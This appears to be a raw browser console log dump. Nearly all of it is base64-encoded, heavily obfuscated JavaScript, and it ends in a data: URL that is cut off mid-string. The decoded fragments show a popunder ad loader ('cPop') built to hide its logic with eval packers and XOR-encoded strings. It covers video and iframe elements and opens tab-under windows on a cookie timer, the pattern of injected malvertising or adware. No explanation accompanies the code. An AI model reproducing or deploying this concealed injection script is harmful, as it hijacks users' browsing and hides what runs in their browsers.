xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsXzB4Yzc5ZjY5KXtfMHgxOTc3ZGI9XzB4MTk3N2RiLTB4MDt2YXIgXzB4MTYyZGYyPV8weDEzOGZbXzB4MTk3N2RiXTtpZihfMHgxN2MxWydPTXJTcXgnXT09PXVuZGVmaW5lZCl7KGZ1bmN0aW9uKCl7dmFyIF8weDI0NzE2Njt0cnl7dmFyIF8weDViZDYyOT1GdW5jdGlvbigncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcrJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJysnKTsnKTtfMHgyNDcxNjY9XzB4NWJkNjI5KCk7fWNhdGNoKF8weDMyOTViMCl7XzB4MjQ3MTY2PXdpbmRvdzt9dmFyIF8weDI4M2NlOT0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO18weDI0NzE2NlsnYXRvYiddfHwoXzB4MjQ3MTY2WydhdG9iJ109ZnVuY3Rpb24oXzB4MzQxYjE5KXt2YXIgXzB4MTQ0Zjk2PVN0cmluZyhfMHgzNDFiMTkpWydyZXBsYWNlJ10oLz0rJC8sJycpO2Zvcih2YXIgXzB4MjhhNzVlPTB4MCxfMHg1OWNiNWIsXzB4MWUwOTNkLF8weDUxZWZhNj0weDAsXzB4OTIyYWFjPScnO18weDFlMDkzZD1fMHgxNDRmOTZbJ2NoYXJBdCddKF8weDUxZWZhNisrKTt+XzB4MWUwOTNkJiYoXzB4NTljYjViPV8weDI4YTc1ZSUweDQ/XzB4NTljYjViKjB4NDArXzB4MWUwOTNkOl8weDFlMDkzZCxfMHgyOGE3NWUrKyUweDQpP18weDkyMmFhYys9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgweGZmJl8weDU5Y2I1Yj4+KC0weDIqXzB4MjhhNzVlJjB4NikpOjB4MCl7XzB4MWUwOTNkPV8weDI4M2NlOVsnaW5kZXhPZiddKF8weDFlMDkzZCk7fXJldHVybiBfMHg5MjJhYWM7fSk7fSgpKTtfMHgxN2MxWyd4anFrREYnXT1mdW5jdGlvbihfMHgzMzc3MTgpe3ZhciBfMHg1ZGRiMTU9YXRvYihfMHgzMzc3MTgpO3ZhciBfMHg1NjBiOTU9W107Zm9yKHZhciBfMHhjOTdmOTE9MHgwLF8weDQ0MTg3Mj1fMHg1ZGRiMTVbJ2xlbmd0aCddO18weGM5N2Y5MTxfMHg0NDE4NzI7XzB4Yzk3ZjkxKyspe18weDU2MGI5NSs9JyUnKygnMDAnK18weDVkZGIxNVsnY2hhckNvZGVBdCddKF8weGM5N2Y5MSlbJ3RvU3RyaW5nJ10oMHgxMCkpWydzbGljZSddKC0weDIpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU2MGI5NSk7fTtfMHgxN2MxWydrRG1IU2snXT17fTtfMHgxN2MxWydPTXJTcXgnXT0hIVtdO312YXIgXzB4MzA2NDA1PV8weDE3YzFbJ2tEbUhTayddW18weDE5NzdkYl07aWYoXzB4MzA2NDA1PT09dW5kZWZpbmVkKXtfMHgxNjJkZjI9XzB4MTdjMVsneGpxa0RGJ10oXzB4MTYyZGYyKTtfMHgxN2MxWydrRG1IU2snXVtfMHgxOTc3ZGJdPV8weDE2MmRmMjt9ZWxzZXtfMHgxNjJkZjI9XzB4MzA2NDA1O31yZXR1cm4gXzB4MTYyZGYyO307ZXZhbChmdW5jdGlvbihfMHg0OWIyZTksXzB4MTA2OTM1LF8weDIyM2Q1NixfMHgyZmY2ZTksXzB4ZWQ3ZDI2LF8weDNiYzUwMCl7XzB4ZWQ3ZDI2PWZ1bmN0aW9uKF8weDI2YmI4Mil7cmV0dXJuKF8weDI2YmI4MjxfMHgxMDY5MzU/Jyc6XzB4ZWQ3ZDI2KHBhcnNlSW50KF8weDI2YmI4Mi9fMHgxMDY5MzUpKSkrKChfMHgyNmJiODI9XzB4MjZiYjgyJV8weDEwNjkzNSk+MHgyMz9TdHJpbmdbXzB4MTdjMSgnMHgwJyldKF8weDI2YmI4MisweDFkKTpfMHgyNmJiODJbXzB4MTdjMSgnMHgxJyldKDB4MjQpKTt9O2lmKCEnJ1tfMHgxN2MxKCcweDInKV0oL14vLFN0cmluZykpe3doaWxlKF8weDIyM2Q1Ni0tKXtfMHgzYmM1MDBbXzB4ZWQ3ZDI2KF8weDIyM2Q1NildPV8weDJmZjZlOVtfMHgyMjNkNTZdfHxfMHhlZDdkMjYoXzB4MjIzZDU2KTt9XzB4MmZmNmU5PVtmdW5jdGlvbihfMHgzMjA3ZjYpe3JldHVybiBfMHgzYmM1MDBbXzB4MzIwN2Y2XTt9XTtfMHhlZDdkMjY9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MTdjMSgnMHgzJyk7fTtfMHgyMjNkNTY9MHgxO307d2hpbGUoXzB4MjIzZDU2LS0pe2lmKF8weDJmZjZlOVtfMHgyMjNkNTZdKXtfMHg0OWIyZTk9XzB4NDliMmU5W18weDE3YzEoJzB4MicpXShuZXcgUmVnRXhwKCdceDVjXHg2MicrXzB4ZWQ3ZDI2KF8weDIyM2Q1NikrJ1x4NWNceDYyJywnXHg2NycpLF8weDJmZjZlOVtfMHgyMjNkNTZdKTt9fXJldHVybiBfMHg0OWIyZTk7fShfMHgxN2MxKCcweDQnKSwweDMyLDB4MzIsJ1x4N2NceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4N2NceDczXHg3NFx4NzlceDZjXHg2NVx4N2NceDczXHg3MFx4NmNceDY5XHg3NFx4N2NceDYxXHg2NFx4NjRceDQ1XHg3Nlx4NjVceDZlXHg3NFx4NGNceDY5XHg3M1x4NzRceDY1XHg2ZVx4NjVceDcyXHg3Y1x4NjNceDZmXHg2ZFx4N2NceDcyXHg2NVx4NzRceDc1XHg3Mlx4NmVceDdjXHg2OFx4NzRceDc0XHg3MFx4NzNceDdjXHg3Nlx4NjFceDcyXHg3Y1x4NzBceDZlXHg2N1x4N2NceDcwXHg3NFx4N2NceDYyXHg2Zlx4NjRceDc5XHg3Y1x4NjVceDZlXHg2M1x4NmZceDY0XHg2NVx4NTVceDUyXHg0OVx4NDNceDZmXHg2ZFx4NzBceDZmXHg2ZVx4NjVceDZlXHg3NFx4N2NceDcyXHg2NVx4NjZceDY1XHg3Mlx4NzJceDY1XHg3Mlx4N2NceDdjXHg3Y1x4NjJceDc0XHg2Zlx4NjFceDdjXHg3Nlx4MzFceDdjXHg2MVx4NzBceDcwXHg2NVx4NmVceDY0XHg0M1x4NjhceDY5XHg2Y1x4NjRceDdjXHg2ZVx4NmZceDZlXHg2NVx4N2NceDYxXHg2Mlx4NzNceDZmXHg2Y1x4NzVceDc0XHg2NVx4N2NceDcwXHg2Zlx4NzNceDY5XHg3NFx4NjlceDZmXHg2ZVx4N2NceDY5XHg2ZFx4NjdceDdjXHg3Y1x4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDdjXHg3NFx4NmZceDcwXHg3Y1x4NmNceDY1XHg2Nlx4NzRceDdjXHg2MVx4NzBceDY5XHg3Y1x4N2NceDdjXHg3M1x4NzJceDYzXHg3Y1x4NzJceDY1XHg3MFx4NmNceDYxXHg2M1x4NjVceDdjXHg3MFx4NmZceDY5XHg2ZVx4NzRceDY1XHg3Mlx4NDVceDc2XHg2NVx4NmVceDc0XHg3M1x4N2NceDYzXHg2Y1x4NjlceDYzXHg2Ylx4NjFceDY5XHg2ZVx4NjVceDdjXHg2MVx4NzBceDcwXHg3Y1x4NzdceDY5XHg2ZVx4NjRceDZmXHg3N1x4N2NceDZhXHg2Zlx4NjlceDZlXHg3Y1x4NmVceDY1XHg3N1x4N2NceDQ0XHg0Zlx4NGRceDQzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0XHg0Y1x4NmZceDYxXHg2NFx4NjVceDY0XHg3Y1x4NmNceDZmXHg2MVx4NjRceDdjXHgzNVx4NjVceDMzXHg3Y1x4NzNceDY1XHg3NFx4NTRceDY5XHg2ZFx4NjVceDZmXHg3NVx4NzRceDdjXHg3NFx4NmZceDUzXHg3NFx4NzJceDY5XHg2ZVx4NjdceDdjXHgzMVx4MzZceDdjXHg2NFx4NmZceDYzXHg3NVx4NmRceDY1XHg2ZVx4NzRceDdjXHg2MVx4NmVceDY0XHg3Mlx4NmZceDY5XHg2NFx4N2NceDY0XHg2Zlx4NzRceDdjXHg2ZFx4NjFceDcwXHg3Y1x4NjNceDY4XHg2MVx4NzJceDQzXHg2Zlx4NjRceDY1XHg0MVx4NzRceDdjXHg1Mlx4NjVceDY3XHg0NVx4NzhceDcwJ1tfMHgxN2MxKCcweDUnKV0oJ1x4N2MnKSwweDAse30pKTsKO3ZhciBjSVBvcCA9IGZ1bmN0aW9uIGNJUG9wKHVybCkgewoJCWNQb3AuY29uZmlnKHsKCQkJY292ZXJUYWdzOiBbJ3ZpZGVvJywgJ2lmcmFtZSddLAoJCQl0YWJVbmRlcklnbm9yZVRhcmdldEJsYW5rOiB0cnVlLAoJCQlkZWxheTogMjE2MDAKCQl9KTsKCQljUG9wLmFkZCh1cmwsIHsKCQkJbmV3VGFiOiB0cnVlLAoJCQl1bmRlcjogdHJ1ZSwKCQkJY29va2llRXhwaXJlczogMjE2MDB9KX07(Line 1)
Message:
[object HTMLDivElement]
console-api log URL: data:text/plain;base64,d2luZG93LnBvcG5zID0gJ2NQb3AnO3Y3R0cuYzQ9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiB2N0dHLlo0LmU0PT09J2Z1bmN0aW9uJz92N0dHLlo0LmU0LmFwcGx5KHY3R0cuWjQsYXJndW1lbnRzKTp2N0dHLlo0LmU0O307djdHRy5pMT1mdW5jdGlvbigpe3ZhciBxMT1mdW5jdGlvbihJMSxLMSl7dmFyIEExPUsxJjB4ZmZmZjt2YXIgcjE9SzEtQTE7cmV0dXJuKHIxKkkxfDApKyhBMSpJMXwwKXwwO30sbTE9ZnVuY3Rpb24oajEsVTEsaDEpe3ZhciB4MT0weGNjOWUyZDUxLHoxPTB4MWI4NzM1OTM7dmFyIGUxPWgxO3ZhciB0MT1VMSZ+MHgzO2Zvcih2YXIgWjE9MDtaMTx0MTtaMSs9NCl7dmFyIFExPWoxLmNoYXJDb2RlQXQoWjEpJjB4ZmZ8KGoxLmNoYXJDb2RlQXQoWjErMSkmMHhmZik8PDh8KGoxLmNoYXJDb2RlQXQoWjErMikmMHhmZik8PDE2fChqMS5jaGFyQ29kZUF0KFoxKzMpJjB4ZmYpPDwyNDtRMT1xMShRMSx4MSk7UTE9KFExJjB4MWZmZmYpPDwxNXxRMT4+PjE3O1ExPXExKFExLHoxKTtlMV49UTE7ZTE9KGUxJjB4N2ZmZmYpPDwxM3xlMT4+PjE5O2UxPWUxKjUrMHhlNjU0NmI2NHwwO31RMT0wO3N3aXRjaChVMSU0KXtjYXNlIDM6UTE9KGoxLmNoYXJDb2RlQXQodDErMikmMHhmZik8PDE2O2Nhc2UgMjpRMXw9KGoxLmNoYXJDb2RlQXQodDErMSkmMHhmZik8PDg7Y2FzZSAxOlExfD1qMS5jaGFyQ29kZUF0KHQxKSYweGZmO1ExPXExKFExLHgxKTtRMT0oUTEmMHgxZmZmZik8PDE1fFExPj4+MTc7UTE9cTEoUTEsejEpO2UxXj1RMTt9ZTFePVUxO2UxXj1lMT4+PjE2O2UxPXExKGUxLDB4ODVlYmNhNmIpO2UxXj1lMT4+PjEzO2UxPXExKGUxLDB4YzJiMmFlMzUpO2UxXj1lMT4+PjE2O3JldHVybiBlMTt9O3JldHVybntiMTptMX07fSgpO3Y3R0cuRDQ9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiB2N0dHLlo0LkM2PT09J2Z1bmN0aW9uJz92N0dHLlo0LkM2LmFwcGx5KHY3R0cuWjQsYXJndW1lbnRzKTp2N0dHLlo0LkM2O307djdHRy5MMT1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIHY3R0cuaTEuYjE9PT0nZnVuY3Rpb24nP3Y3R0cuaTEuYjEuYXBwbHkodjdHRy5pMSxhc